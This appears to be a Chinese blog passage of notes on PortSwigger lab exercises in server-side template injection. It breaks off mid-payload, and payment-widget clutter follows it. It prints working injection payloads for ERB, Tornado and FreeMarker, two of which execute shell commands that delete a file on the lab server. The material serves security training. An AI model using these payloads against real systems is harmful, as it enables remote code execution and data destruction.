PortSwigger 服务器端模板注入

文章详细介绍了服务端模板注入的原理,包括基本注入、上下文注入、文档利用、未知语言注入以及通过用户对象披露信息等利用方式。同时,列举了PHP、Smarty和PythonJinja2等模板引擎的POC示例,并提到了沙盒环境中的注入。最后,文章讨论了防御措施,强调了输入清理和安全环境的重要性。

一、什么是服务端模板注入

        服务端模板注入是一种Web应用程序漏洞,攻击者可以利用这种漏洞向网页服务器发送恶意的注入请求,并将恶意代码注入到服务器端的模板引擎中。当服务器从模板引擎获取数据并将其呈现给用户时,恶意注入的代码也被一起获取和渲染,最终导致各种安全问题,如敏感信息泄露、代码执行、GetShell等。

二、常见模板模板注入利用方式

        1、基本服务器端模板注入

        尝试不同的参数,观察返回值,找到存在模板位置直接注入。

ERB:<%= 7*7 %>
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25%3d+7*7+%25>

        2、上下文服务器端模板注入

        修改传入参数表达式,通过错误得到使用的模板,注意:展示位置于注入位置不在同一页面、注意闭合}}

Tornado:{
  
  {7*7}}
blog-post-author-display=user.name}}{% import os %} {
  
  {os.system('rm /home/carlos/morale.txt')}}&csrf=nJyAgIQEfUbN6g6yvHXBNuhSCru5u0dC

        3、使用文档进行服务器端模板注入

        构建无效表达式查找报错代码,得知使用的模板。

FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

        4、使用未知语言进行服务器端模板注入,并记录在案。

        通过报错信息,通过浏览器查找该漏洞poc 

{
  
  {#with "s" as |string|}}
  {
  
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值